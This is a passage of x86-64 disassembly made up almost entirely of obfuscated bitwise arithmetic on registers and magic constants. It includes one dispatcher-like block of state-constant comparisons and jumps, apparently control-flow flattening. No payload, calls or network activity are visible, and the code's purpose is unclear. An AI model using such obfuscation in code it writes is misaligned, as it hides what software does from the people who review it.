and al, r14b
xor r14b, 1
and r14b, cl
or r14b, al
mov eax, r14d
xor al, r13b
or r14b, r13b
xor r14b, 1
or r14b, al
xor al, 1
mov ecx, eax
xor cl, r14b
or r14b, al
xor r14b, 1
or r14b, cl
mov r13d, ebp
and r13b, bl
mov eax, ebp
and al, r13b
xor r13b, bpl
or r13b, al
mov r15d, edi
xor r15b, 1
mov r12d, r13d
xor r12b, 1
or bpl, bl
mov eax, ebp
xor al, 1
mov ebx, ebp
and bl, al
mov ecx, ebp
xor cl, bl
xor bl, 1
or bl, al
mov eax, r13d
xor al, r12b
and al, r13b
xor bl, 1
or bl, cl
mov ecx, ebx
and cl, al
xor al, 1
xor bl, 1
and bl, al
or bl, cl
mov ecx, eax
and cl, bpl
xor al, bpl
mov edx, edi
or dl, r15b
or al, cl
mov ecx, eax
xor cl, bl
xor bl, 1
xor cl, 1
or bl, al
xor bl, 1
or bl, cl
mov eax, edi
and al, dl
xor dl, dil
or al, dl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
or cl, bl
xor bl, 1
or bl, al
mov eax, ecx
xor al, bl
or bl, cl
xor bl, 1
or bl, al
mov eax, r15d
and al, dil
mov ecx, eax
and cl, r15b
xor al, r15b
or al, cl
xor al, r13b
mov ecx, r12d
and cl, dil
xor r12b, dil
or r12b, cl
mov ecx, r12d
xor cl, al
xor al, 1
xor cl, 1
or al, r12b
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and cl, al
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
xor cl, 1
xor bl, 1
mov eax, ebx
or al, cl
xor al, 1
xor bl, cl
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov ecx, r14d
xor cl, 1
mov eax, ebx
xor al, 1
and bl, al
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov eax, r14d
and al, cl
mov edx, r14d
xor dl, al
xor al, 1
or al, cl
xor al, 1
or al, dl
xor al, 1
or cl, r14b
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov edx, ecx
xor dl, 1
mov edi, edx
and dil, cl
xor dl, dil
xor dil, 1
or dil, cl
xor dil, 1
or dil, dl
mov ecx, edi
and dil, bl
xor bl, 1
xor cl, 1
and cl, bl
or dil, cl
mov ebp, r8d
xor r9b, r8b
and r8b, r11b
xor bpl, r11b
or bpl, r8b
mov r8d, ebp
xor r8b, 1
mov edx, r11d
and dl, sil
or r9b, r10b
xor r11b, dl
xor dl, 1
or dl, sil
xor dl, 1
or dl, r11b
mov ebx, r9d
xor bl, 1
and bl, dl
xor dl, 1
and dl, r9b
or dl, bl
mov eax, edx
xor al, 1
mov ebx, r8d
and bl, bpl
xor bl, 1
mov r9d, ebx
xor r9b, bpl
or bl, bpl
xor bl, 1
or bl, r9b
mov ecx, ebx
xor cl, 1
and cl, dl
and bl, al
or bl, cl
xor al, bpl
or dl, r8b
xor dl, 1
or dl, al
xor bl, 1
mov eax, ebx
xor al, dl
or bl, dl
xor bl, 1
or bl, al
mov r8d, ebx
xor r8b, 1
mov edx, r8d
and dl, bl
mov ecx, edx
xor cl, r8b
and cl, dl
mov eax, edx
xor al, 1
and al, bl
and dl, r8b
or dl, al
mov eax, ecx
xor al, 1
xor cl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
mov r11d, edx
xor r11b, 1
and r11b, dl
xor r11b, 1
mov eax, edx
xor al, r11b
or r11b, dl
xor r11b, 1
or r11b, al
mov r8d, r11d
xor r8b, 1
mov r9d, edi
xor r9b, 1
mov edx, r9d
and dl, dil
xor dl, 1
mov eax, edi
xor al, dl
or dl, dil
xor dl, 1
or dl, al
mov r14d, edx
xor r14b, 1
mov edi, edx
and dil, r14b
mov r10d, edi
and r10b, dl
xor dil, dl
or dl, r14b
xor dl, 1
xor r9b, dl
mov ebp, r8d
or bpl, r11b
and dl, r9b
xor dl, 1
mov esi, edx
xor sil, r9b
or dl, r9b
xor dl, 1
or dl, sil
mov ebx, r8d
and bl, r11b
mov r9d, r8d
and r9b, bl
xor bl, r8b
or bl, r9b
mov ecx, ebp
xor cl, 1
xor bpl, r8b
mov eax, ecx
xor al, bl
xor al, 1
or cl, r11b
xor cl, 1
or cl, bpl
xor cl, 1
mov r8d, eax
and r8b, cl
xor cl, al
or cl, r8b
mov eax, ecx
xor al, dl
and cl, al
and al, dl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
or dil, r10b
mov ecx, edi
xor cl, 1
and cl, bl
xor bl, 1
and bl, dil
or bl, cl
mov ecx, r14d
and cl, r11b
xor r14b, r11b
or r14b, cl
xor r14b, 1
mov ecx, ebx
and cl, r14b
xor r14b, bl
or r14b, cl
mov ecx, r14d
xor cl, 1
and r14b, cl
mov edx, ecx
and dl, r14b
xor r14b, cl
or r14b, dl
mov ecx, eax
xor cl, 1
and cl, r14b
xor r14b, 1
mov edx, eax
xor dl, r14b
and dl, al
and r14b, al
or r14b, cl
mov eax, edx
xor al, r14b
test r14b, 1
mov ecx, 0x286d38ed
mov ebp, 0x58d5883e
cmovne ecx, ebp
test dl, 1
mov edx, 0x286d38ed
cmove ecx, edx
test al, 1
cmovne ecx, ebp
jmp 0x140053140
cmp eax, 0xab139544
jle 0x1400593a1
cmp eax, 0xb18dba62
je 0x14005ef63
cmp eax, 0xb6d6f638
jne 0x1400625f8
mov eax, dword [0x1400986ac]
lea ebx, [rax - 1]
imul ebx, eax
mov r15d, ebx
not r15d
mov eax, r15d
and eax, 0xb755c8c8
mov ecx, ebx
xor ecx, 0xb755c8c8
and ecx, ebx
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0x48aa3737
and ecx, 0xb755c8c8
or ecx, eax
mov edx, ecx
not edx
and ecx, 0x68247140
and edx, 0x80
or edx, ecx
mov ebp, edx
xor ebp, 0xffffff7f
mov eax, r15d
and eax, 0x682471c0
mov r8d, r15d
and r8d, ebx
xor r15d, ebx
xor ebx, 0x97db8e3f
or ebx, eax
mov eax, ebx
not eax
and eax, 0xc52ec464
and ebx, 0x3ad13b9b
or ebx, eax
mov eax, ebx
xor eax, 0x1a502a18
xor ebx, 0xc52ec464
mov ecx, ebp
or ecx, ebx
not ecx
and ebp, 0xa5a555a3
and edx, 0x48002040
or edx, ebp
and ebx, 0xa5a555a3
and eax, 0x5a5aaa5c
or eax, ebx
xor eax, edx
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
mov edx, eax
xor edx, 0x6fa234bf
and edx, eax
not eax
and eax, 0xd05ba060
and ecx, 0x2fa45f9f
or ecx, eax
mov eax, ecx
xor eax, 0x2700048e
xor ecx, 0x40022020
or ecx, 0x905dcb40
mov ebp, edx
not ebp
mov ebx, ecx
and ebx, 0xc8ecb031
and eax, 0x2702048e
or eax, ebx
or ecx, ebp
and ebp, 0xc8ecb031
and edx, 0x37134fce
or edx, ebp
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0xf879ba80
and ecx, 0x786457f
or ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0x6241104
and ecx, 0x5012e000
or ecx, eax
mov ebp, ecx
xor ebp, 0x10008000
xor ecx, 0xa5c518e7
or edx, 0x5636f104
mov eax, edx
not eax
and ecx, 0xe5d778e7
and ebp, 0x12208100
or ebp, ecx
and edx, 0xe5d778e7
and eax, 0x8080618
or eax, edx
xor eax, ebp
mov ecx, eax
not ecx
and ecx, 0xd9dab655
and eax, 0x262549aa
or eax, ecx
mov ecx, eax
xor ecx, 0x7013b8ae
mov edx, eax
xor edx, 0x8dcc0410
and edx, 0xedce2c34
xor eax, 0xb80a179
and eax, ecx
and ecx, 0x1231d3cb
or ecx, edx
mov edx, ecx
xor edx, 0x1231d3cb
xor ecx, 0xedce2c34
mov ebp, ecx
or ebp, 0x846ce628
mov ebx, ebp
not ebx
mov esi, eax
not esi
mov edi, ebp
and edi, 0xeb84c39
and ebx, 0x710311c6
or ebx, edi
or ebp, esi
and esi, 0xeb84c39
and eax, 0xf147b3c6
or eax, esi
xor eax, ebx
not ebp
or ebp, eax
mov eax, ebp
not eax
and eax, 0xb352f0f6
and ebp, 0x4cad0f09
or ebp, eax
xor ebp, 0xc8c1e921
or ecx, edx
not ecx
mov eax, ebp
and eax, ecx
xor ecx, ebp
or ecx, eax
mov eax, ecx
not eax
or ecx, 0x5b79309b
mov edx, ecx
not edx
or eax, 0xa486cf64
mov r11d, eax
not r11d
and ecx, 0xa15299f9
and edx, 0x4844604
or edx, ecx
and eax, 0xa15299f9
and r11d, 0x5a292002
or r11d, eax
xor r11d, edx
mov eax, r11d
not eax
and eax, 0x5b79309b
and r11d, 0xa486cf64
or r11d, eax
or r15d, r8d
mov eax, r15d
not eax
mov ecx, eax
and ecx, r15d
mov edx, ecx
not edx
mov ebp, r15d
and ebp, 0x33a01b74
and eax, 0xcc5fe48b
or eax, ebp
or r15d, edx
and edx, 0x33a01b74
and ecx, 0xcc5fe48b
or ecx, edx
xor ecx, eax
not r15d
or r15d, ecx
mov r10d, r11d
not r10d
mov r14d, r15d
not r14d
mov ecx, r14d
and ecx, 0x9f5b37ce
mov r12d, r15d
and r12d, 0x60a4c831
or r12d, ecx
mov r13d, r12d
xor r13d, 0x40044830
mov r9d, r12d
xor r9d, 0x9f5b37ce
mov ebp, r11d
and ebp, 0x9a08c7e
mov edx, r11d
xor edx, 0x9a08c7e
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0x64631d0d
and edx, 0x9b9ce2f2
or edx, ebp
mov eax, edx
xor eax, 0x88940270
xor edx, 0x64631d0d
mov ebp, r10d
and ebp, 0xf6cc8a07
mov esi, r11d
and esi, 0x93375f8
or esi, ebp
mov ebx, esi
xor ebx, 0x93375f8
xor esi, 0x44408804
and esi, 0x4d72dd84
mov edi, ebx
and edi, 0xb28d227b
or edi, esi
xor edi, 0xbb2dae05
and ebx, 0xf65f7381
or ebx, edi
mov ebp, ebx
not ebp
mov edi, r9d
and edi, 0x9a08c7e
xor r12d, 0x96fbbbb0
or r12d, edi
mov r8d, r12d
not r8d
and r14d, 0xe1b64749
and r15d, 0x1e49b8b6
or r15d, r14d
mov esi, r15d
xor esi, 0x16493080
and esi, 0xf65f7381
xor r15d, 0xe816cb37
or r15d, esi
mov esi, r15d
not esi
and esi, 0xd40f5d8f
and r15d, 0x2bf0a270
or r15d, esi
mov esi, edx
and esi, 0x176ae18e
and eax, 0xe8951e71
or eax, esi
mov r14d, eax
mov esi, ebx
and esi, 0x119f1d03
xor ebx, 0x55955e87
and ebx, ebp
and ebp, 0xee60e2fc
or ebp, esi
xor ebp, 0xee60e2fc
xor eax, 0x26aa108
or eax, 0x55955e87
mov esi, eax
not esi
or edx, 0xaa6aa178
and eax, 0xf693a108
and esi, 0x8680070
or esi, eax
mov eax, edx
not eax
and edx, 0xf693a108
and eax, 0x1045e87
or eax, edx
mov edx, ebp
and edx, 0xaa6aa178
xor eax, esi
mov esi, edx
and esi, ebx
xor ebx, edx
mov edx, r15d
xor edx, 0x2bf0a270
xor r14d, 0xe8951e71
or ebx, esi
mov esi, eax
not esi
and esi, 0x5a6e363e
and eax, 0xa591c9c1
or eax, esi
mov esi, ebx
not esi
and esi, 0x5a6e363e
and ebx, 0xa591c9c1
or ebx, esi
xor ebx, eax
mov eax, r14d
and eax, ebp
xor ebp, r14d
or ebp, eax
mov eax, ebp
not eax
mov esi, ebx
not esi
mov edi, esi
and edi, 0xb827b000
and ebx, 0x47d84fff
or ebx, edi
or esi, ebp
and ebp, 0xb827b000
and eax, 0x47d84fff
or eax, ebp
xor eax, ebx
not esi
or esi, eax
xor r15d, 0xd40f5d8f
and edx, r12d
or r12d, r15d
not r12d
and r15d, r8d
or r15d, edx
mov eax, r12d
and eax, r15d
xor r15d, r12d
or r15d, eax
mov ebp, esi
not ebp
mov eax, esi
xor eax, 0x3102c75e
and eax, esi
mov ebx, r15d
not ebx
mov edx, r15d
xor edx, 0x3102c75e
and ebx, edx
and edx, r15d
or esi, 0xcefd38a1
mov edi, eax
not edi
mov r8d, esi
and r8d, 0x448b176f
and ebp, 0x3100c010
or ebp, r8d
or esi, edi
and edi, 0x448b176f
and eax, 0xbb74e890
or eax, edi
xor eax, ebp
not esi
or esi, eax
mov eax, ebx
not eax
mov ebp, edx
not ebp
mov edi, eax
and edi, 0x69055350
and ebx, 0x96faacaf
or ebx, edi
or eax, ebp
and ebp, 0x69055350
and edx, 0x96faacaf
or edx, ebp
xor edx, ebx
not eax
or eax, edx
mov edx, esi
not edx
and edx, eax
not eax
and eax, esi
or eax, edx
mov edx, r11d
or edx, r9d
not edx
and r11d, 0x2ee08109
and r10d, 0xd11f7ef6
or r10d, r11d
and r9d, 0x2ee08109
and r13d, 0xd11f7ef6
or r13d, r9d
xor r13d, r10d
mov ebp, edx
and ebp, r13d
xor r13d, edx
or r13d, ebp
mov edx, r13d
not edx
and edx, 0x40412080
mov ecx, r13d
and ecx, 0x8e241366
or ecx, edx
xor ecx, 0x8e241366
and r13d, 0x319acc19
or r13d, ecx
mov ecx, r13d
not ecx
and ecx, 0x575159be
and r13d, 0xa8aea641
or r13d, ecx
mov ecx, r13d
xor ecx, 0x28a0004
xor r13d, 0x81342848
and ecx, 0x1a8a4214
and r13d, 0xe575bdeb
or r13d, ecx
mov ecx, r13d
xor ecx, 0xe575bdeb
mov r14d, eax
not r14d
xor r13d, 0x1a8a4214
and ecx, r14d
or r14d, r13d
mov edx, r14d
not edx
and r13d, eax
or r13d, ecx
mov eax, r13d
not eax
mov ecx, r14d
and ecx, 0x30ecd0b0
and edx, 0xcf132f4f
or edx, ecx
or r14d, eax
and eax, 0x30ecd0b0
and r13d, 0xcf132f4f
or r13d, eax
xor r13d, edx
not r14d
or r14d, r13d
mov r11d, r14d
not r11d
mov eax, r11d
and eax, 0xb4903758
mov ecx, r14d
and ecx, 0x4b6fc8a7
or ecx, eax
mov eax, ecx
xor eax, 0x14fc887
xor ecx, 0xb0002400
and ecx, 0xfa202420
and eax, 0x5dfdbdf
or eax, ecx
mov esi, eax
xor esi, 0x453c10c
xor eax, 0x58000000
and eax, 0x598c1ad3
and esi, 0xa673e52c
or esi, eax
mov eax, esi
xor eax, 0xa673e52c
mov ecx, r11d
and ecx, 0xab763d7d
mov ebx, r14d
and ebx, 0x5489c282
or ebx, ecx
xor ebx, 0x5489c282
mov r15d, ebx
xor r15d, r11d
and r15d, ebx
mov r8d, esi
xor r8d, 0x598c1ad3
mov r10d, r15d
not r10d
xor esi, 0x53402988
mov ebx, esi
and ebx, r8d
and esi, eax
mov r9d, r10d
and r9d, 0xf533cca4
mov ecx, r15d
xor ecx, 0xf533cca4
and ecx, r15d
mov ebp, ebx
not ebp
mov edi, esi
not edi
mov edx, ebp
and edx, 0x3a01e270
and ebx, 0xc5fe1d8f
or ebx, edx
or ebp, edi
and edi, 0x3a01e270
and esi, 0xc5fe1d8f
or esi, edi
xor esi, ebx
not ebp
or ebp, esi
mov edx, r9d
and edx, ecx
xor ecx, r9d
or ecx, edx
mov edx, ebp
not edx
and edx, 0xa28fc917
and ebp, 0x5d7036e8
or ebp, edx
mov edx, ecx
not edx
and edx, 0xa28fc917
and ecx, 0x5d7036e8
or ecx, edx
xor ecx, ebp
mov edx, eax
and edx, 0x5683a78e
and r8d, 0xa97c5871
or r8d, edx
or eax, r15d
and r15d, 0x5683a78e
and r10d, 0xa97c5871
or r10d, r15d
xor r10d, r8d
not eax
or eax, r10d
mov edx, eax
not edx
and edx, 0xabad2ea
and eax, 0xf5452d15
or eax, edx
mov edx, eax
xor edx, 0xa1040101
xor eax, 0xabad2ea
mov r10d, ecx
not r10d
mov ebp, r10d
and ebp, 0x5663ac1c
and ecx, 0xa99c53e3
or ecx, ebp
or r10d, eax
and eax, 0x5663ac1c
and edx, 0xa99c53e3
or edx, eax
xor edx, ecx
not r10d
or r10d, edx
mov r8d, r10d
not r8d
mov eax, r8d
and eax, r10d
mov ecx, eax
not ecx
mov edx, r10d
and edx, 0x25968428
mov ebp, r8d
and ebp, 0xda697bd7
or ebp, edx
mov edx, r10d
or edx, ecx
and ecx, 0x25968428
and eax, 0xda697bd7
or eax, ecx
xor eax, ebp
not edx
or edx, eax
mov eax, edx
mov r12d, edx
xor r12d, 0xcfaa0a61
and r12d, edx
not edx
and edx, 0xe1a1e470
and eax, 0x1e5e1b8f
or eax, edx
mov edx, eax
xor edx, 0x1e5e1b8f
mov ecx, eax
xor ecx, 0x2e0bee11
and ecx, edx
mov ebp, ecx
and ebp, r12d
xor r12d, ecx
or r12d, ebp
mov ecx, r12d
not ecx
and ecx, 0xd18ea2a1
and r12d, 0x2e715d5e
or r12d, ecx
mov ecx, r12d
xor ecx, 0xa008088
and edx, 0x8bbab9b7
xor eax, 0x95e4a238
or eax, edx
mov edx, eax
not edx
and edx, 0x191d173f
and eax, 0xe6e2e8c0
or eax, edx
mov edx, eax
xor edx, 0x6808080
xor eax, 0x191d173f
xor r12d, 0x959e1177
mov edi, r12d
and edi, 0xf0737e76
and ecx, 0xf8c8189
or ecx, edi
or r12d, eax
and eax, 0xf0737e76
and edx, 0xf8c8189
or edx, eax
xor edx, ecx
not r12d
or r12d, edx
mov eax, r12d
not eax
mov ecx, r12d
xor ecx, 0xcde1cc72
and ecx, r12d
or r12d, 0x321e338d
mov edx, ecx
not edx
mov ebp, r12d
and ebp, 0x8a7f9f1e
and eax, 0x45804060
or eax, ebp
or r12d, edx
and edx, 0x8a7f9f1e
and ecx, 0x758060e1
or ecx, edx
xor ecx, eax
not r12d
or r12d, ecx
mov eax, r12d
not eax
and eax, 0xc3fa087b
and r12d, 0x3c05f784
or r12d, eax
mov r13d, r12d
xor r13d, 0xf1e43bf6
mov r9d, r12d
xor r9d, 0xe1bc409
mov eax, r14d
xor eax, 0x907c73d8
and eax, r14d
or r14d, 0x6f838c27
mov ecx, eax
not ecx
mov edx, r14d
and edx, 0x54a75900
and r11d, 0x805822d8
or r11d, edx
or r14d, ecx
and ecx, 0x54a75900
and eax, 0xab58a6ff
or eax, ecx
xor eax, r11d
not r14d
or r14d, eax
mov eax, r14d
not eax
and eax, 0x5d90b191
and r14d, 0xa26f4e6e
or r14d, eax
mov ecx, r14d
xor ecx, 0x2100416
mov edi, r14d
xor edi, 0xcdecc249
xor r14d, 0xedfc174c
and r14d, edi
mov ebp, edi
or ebp, 0xdfef2afa
mov edx, ebp
not edx
mov eax, r14d
not eax
mov ebx, eax
and ebx, 0x66e165c7
and r14d, 0x991e9a38
or r14d, ebx
or eax, ebp
and ebp, 0x66e165c7
and edx, 0x109000
or edx, ebp
xor edx, r14d
not eax
or eax, edx
mov edx, eax
not edx
and edx, 0x5455934d
and eax, 0xabaa6cb2
or eax, edx
and ecx, 0x825c465e
mov edx, edi
and edx, 0x7da3b9a1
or edx, ecx
xor edx, 0xf6190016
and edi, 0x74454648
or edi, edx
not edi
mov ecx, eax
and ecx, edi
xor edi, eax
or edi, ecx
mov eax, edi
not eax
and eax, 0xd99e4477
and edi, 0x2661bb88
or edi, eax
mov eax, edi
xor eax, 0x2641a388
xor edi, 0x98004047
and eax, 0x67dfa7b8
and edi, 0x98205847
or edi, eax
mov ecx, edi
xor ecx, 0x67dfa7b8
xor edi, 0x98205847
mov eax, r9d
and eax, 0xed4bdd7a
mov edx, r9d
and edx, r13d
and r13d, 0x12b42285
or r13d, eax
mov eax, r13d
xor eax, 0x10802284
xor r13d, 0xed4bdd7a
mov ebp, edx
not ebp
mov esi, r13d
and esi, 0xee3f914b
and eax, 0x11c06eb4
or eax, esi
or r13d, ebp
and ebp, 0xee3f914b
and edx, 0x11c06eb4
or edx, ebp
xor edx, eax
not r13d
or r13d, edx
mov ebx, edi
mov r15d, ecx
and r15d, edi
mov eax, ecx
and eax, 0x3afdc405
and edi, 0xc5023bfa
or edi, eax
not edi
or edi, ecx
and ecx, 0xc5092e93
and ebx, 0x3af6d16c
or ebx, ecx
xor ebx, 0x3af6d16c
mov eax, ebx
and eax, r15d
xor r15d, ebx
or r15d, eax
mov eax, r13d
not eax
mov r14d, eax
and r14d, 0xabe56edf
mov ebx, r15d
not ebx
mov r11d, ebx
mov ecx, r15d
and r15d, eax
or eax, ebx
and ebx, r13d
and r13d, 0x541a9120
or r13d, r14d
mov edx, r13d
xor edx, 0x541a9120
xor r13d, 0xa2012697
and r13d, 0xb61136b7
mov esi, edx
and esi, 0x49eec948
or esi, r13d
xor esi, 0x73130d4d
and edx, 0xc5023bfa
or edx, esi
mov r14d, edx
not r14d
and r9d, 0x3afdc405
xor r12d, 0x34e6000c
or r12d, r9d
mov esi, r12d
not esi
and esi, 0xd22c2fcb
and r12d, 0x2dd3d034
or r12d, esi
mov ebp, r12d
xor ebp, 0x2dd3d034
and r11d, 0x63b72725
and ecx, 0x9c48d8da
or ecx, r11d
mov esi, ecx
xor esi, 0x840018da
and esi, 0xc5023bfa
xor ecx, 0x594ae320
or ecx, esi
mov esi, ecx
not esi
and esi, 0xf3f39d60
and ecx, 0xc0c629f
or ecx, esi
and edx, 0xf7ebb661
mov r9d, r14d
and r9d, 0x814499e
or r9d, edx
xor r9d, 0x814499e
xor r12d, 0x122c0f0b
and r12d, 0x163c1f0b
mov esi, ebp
and esi, 0xe9c3e0f4
or esi, r12d
xor esi, 0xe9c3e0f4
mov edx, esi
mov r11d, r9d
and r11d, esi
xor esi, r9d
and r9d, 0xae547d47
and r14d, 0x51ab82b8
or r14d, r9d
mov r9d, ecx
xor r9d, 0xc08608c
and edx, 0xae547d47
and ebp, 0x51ab82b8
or ebp, edx
mov r12d, r14d
not r12d
and r12d, ebp
not ebp
and ebp, r14d
mov edx, edi
not edx
or ebp, r12d
or esi, r11d
mov r11d, esi
not r11d
and r11d, 0x770af120
and esi, 0x88f50edf
or esi, r11d
mov r11d, ebp
not r11d
mov r14d, r11d
and r14d, 0xe910afe4
and ebp, 0x16ef501b
or ebp, r14d
mov r14d, esi
xor r14d, 0xe5001b
xor esi, 0x770af120
or r11d, esi
and esi, 0xe910afe4
and r14d, 0x16ef501b
or r14d, esi
xor r14d, ebp
not r11d
or r11d, r14d
xor ecx, 0xf3f39d60
mov esi, ecx
or esi, edi
not esi
and ecx, 0xf0061b33
and r9d, 0xff9e4cc
or r9d, ecx
and edi, 0xf0061b33
and edx, 0xff9e4cc
or edx, edi
xor edx, r9d
mov ecx, esi
and ecx, edx
xor edx, esi
or edx, ecx
not edx
mov ecx, edx
or ecx, r11d
not ecx
xor edx, r11d
not edx
and edx, r11d
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
not eax
or ebx, r15d
mov ecx, eax
and ecx, ebx
xor ebx, eax
or ebx, ecx
mov eax, ebx
not eax
mov ecx, ebx
xor ecx, 0x933dc515
and ecx, ebx
or ebx, 0x6cc23aea
mov ebp, ecx
not ebp
mov edi, ebx
and edi, 0x750a396b
and eax, 0x8235c414
or eax, edi
or ebx, ebp
and ebp, 0x750a396b
and ecx, 0x8af5c694
or ecx, ebp
xor ecx, eax
not ebx
or ebx, ecx
mov eax, ebx
not eax
and eax, 0x6cc23aea
and ebx, 0x933dc515
or ebx, eax
mov eax, edx
not eax
and eax, ebx
not ebx
mov ecx, edx
xor ecx, ebx
and ecx, edx
and ebx, edx
or ebx, eax
mov eax, ecx
and eax, ebx
xor ebx, ecx
or ebx, eax
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0xfcf50ec1
mov edx, ebx
xor edx, 0xfcf50ec1
and edx, ebx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x3d08c9cb
and edx, 0xc2f73634
or edx, ecx
mov ecx, edx
xor ecx, 0x1a003095
xor edx, 0x4115c402
and edx, 0x6517cc62
and ecx, 0x9ae8339d
or ecx, edx
mov edx, ecx
xor edx, 0x1a00039c
and edx, 0x5f008b9c
xor ecx, 0xc5e8b801
or ecx, edx
mov edx, ecx
not edx
and edx, 0x25cd241
and ecx, 0xfda32dbe
or ecx, edx
mov edx, ecx
xor edx, 0xfda32dbe
mov ebp, eax
and ebp, 0xa0ff7463
and ebx, 0x5f008b9c
or ebx, ebp
xor eax, ebx
and eax, ebx
mov ebp, eax
not ebp
mov ebx, edx
xor ebx, ebp
and ebx, edx
xor ecx, 0x500040
and ecx, 0x8dd0015e
and edx, 0x722ffea1
or edx, ecx
and ebp, 0x8dd0015e
and eax, 0x722ffea1
or eax, ebp
xor eax, edx
mov ecx, ebx
and ecx, eax
xor eax, ebx
or eax, ecx
mov r15d, eax
xor r15d, 0x613fb1a0
and r15d, eax
not eax
and eax, 0x613fb1a0
mov ecx, eax
and ecx, r15d
xor r15d, eax
or r15d, ecx
mov eax, r15d
not eax
and eax, 0x9cf34f23
and r15d, 0x630cb0dc
or r15d, eax
mov r9d, r15d
xor r9d, 0x2976cca9
mov eax, r8d
and eax, 0x6a9b940b
and r10d, 0x95646bf4
or r10d, eax
mov edi, r10d
xor edi, 0x95646bf4
xor r10d, 0x220a0009
and r10d, 0xb32a0acd
mov eax, edi
and eax, 0x4cd5f532
or eax, r10d
xor eax, 0x4cd5f533
and edi, 0xfffffffe
or edi, eax
mov edx, edi
not edx
mov ebp, r8d
and ebp, 1
or r8d, 1
mov eax, r8d
not eax
and r8d, 0x20735388
and eax, 0xdf8cac76
or eax, r8d
or ebp, 0x20735388
xor ebp, eax
mov eax, ebp
not eax
and ebp, edi
or edi, eax
mov ebx, edi
not ebx
and eax, edx
or eax, ebp
mov edx, eax
not edx
mov ebp, edi
and ebp, 0xfa0a060
and ebx, 0xf05f5f9f
or ebx, ebp
or edi, edx
and edx, 0xfa0a060
and eax, 0xf05f5f9f
or eax, edx
xor eax, ebx
not edi
or edi, eax
mov r10d, edi
not r10d
mov ebp, r10d
and ebp, 0xbfe67515
mov edx, edi
and edx, 0x40198aea
or edx, ebp
mov ebp, edx
xor ebp, 0x10248
xor edx, 0x28261405
mov ecx, edi
xor ecx, 0x68271e6f
and ecx, edi
or edx, 0x97d8e190
mov ebx, ecx
not ebx
mov esi, edx
and esi, 0x774a08b3
and ebp, 0x825164c
or ebp, esi
or edx, ebx
and ebx, 0x774a08b3
and ecx, 0x88b5f74c
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x6072d5d6
and edx, 0x9f8d2a29
or edx, ecx
mov ebp, edx
xor ebp, 0xd1200046
xor edx, 0x44a00
and edx, 0x20044e00
and ebp, 0xd1200057
or ebp, edx
xor ebp, 0xd1200057
or ebp, 0xedbb1a8
and edi, 0xdeb53059
mov ecx, r10d
and ecx, 0x214acfa6
or ecx, edi
xor ecx, 0x2f917e0e
and r10d, 0xf1244e57
or r10d, ecx
mov ecx, r10d
not ecx
and ecx, 0x96452de0
and r10d, 0x69bad21f
or r10d, ecx
mov ecx, r10d
xor ecx, 0x96452de0
mov r8d, ebp
mov edi, ebp
xor r10d, 0xc58c89cf
and r10d, ecx
mov ebx, ecx
mov r11d, ebp
and r11d, ecx
xor ecx, ebp
not ebp
and r8d, 0xac365bd0
xor edi, 0x51000407
and edi, ebp
or ebx, 0xac365bd0
mov esi, ebx
not esi
mov ebp, r8d
and ebp, edi
xor edi, r8d
or edi, ebp
mov eax, r10d
not eax
mov ebp, eax
and ebp, 0xf3ffa29a
and r10d, 0xc005d65
or r10d, ebp
or eax, ebx
and ebx, 0xf3ffa29a
and esi, 0x425
or esi, ebx
xor esi, r10d
not eax
or eax, esi
mov edx, edi
not edx
and edx, 0x2205860f
and edi, 0xd5305950
or edi, edx
mov edx, eax
not edx
and edx, 0x2a07868f
and eax, 0xd5f87970
or eax, edx
xor eax, edi
or ecx, r11d
mov edx, ecx
not edx
and edx, 0xde951715
and ecx, 0x216ae8ea
or ecx, edx
xor ecx, 0x216ae8ea
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov edx, ecx
not edx
mov eax, edx
and eax, 0x95a020ba
and ecx, 0x6a5fdf45
or ecx, eax
mov ebp, ecx
xor ebp, 0x8021100
xor ecx, 0x20a8
or edx, 0xedbb1a8
mov eax, edx
not eax
or ecx, 0x51240602
and ecx, 0x537da6aa
and ebp, 0xc821100
or ebp, ecx
and edx, 0x537da6aa
and eax, 0xa0004855
or eax, edx
xor eax, ebp
mov ebp, eax
not ebp
mov ecx, ebp
and ecx, 0xd10b7acb
mov edx, eax
and edx, 0x2ef48534
or edx, ecx
mov r12d, edx
xor r12d, 0xd10b7acb
xor edx, 0x848504
and ebp, 0xf59818e2
and eax, 0xa67e71d
or eax, ebp
mov ebp, eax
xor ebp, 0x4e50d
xor eax, 0xf59818e2
mov ecx, r12d
and ecx, 0x3e731232
and edx, 0xc18cedcd
or edx, ecx
or r12d, eax
and eax, 0x3e731232
and ebp, 0xc18cedcd
or ebp, eax
xor ebp, edx
not r12d
or r12d, ebp
mov eax, r12d
not eax
and eax, 0x37bd1898
and r12d, 0xc842e767
or r12d, eax
mov ebx, r12d
xor ebx, 0xc842e767
mov eax, r12d
xor eax, 0x37bd1898
xor r15d, 0xd6893356
mov ecx, r15d
and ecx, 0x34538a00
mov edx, r9d
and edx, 0x40006040
or edx, ecx
xor edx, 0x40006040
mov r11d, r9d
and r11d, 0x8bac15bf
or r11d, edx
mov ecx, r11d
not ecx
and ecx, 0x8bac15bf
and r11d, 0x7453ea40
or r11d, ecx
mov ecx, eax
and ecx, 0x8ea88eb2
mov edx, ebx
and edx, 0x144000
or edx, ecx
xor edx, 0x144000
and ebx, 0x7143314d
or ebx, edx
mov ecx, ebx
not ecx
and ecx, 0xcf7dbe0e
and ebx, 0x308241f1
or ebx, ecx
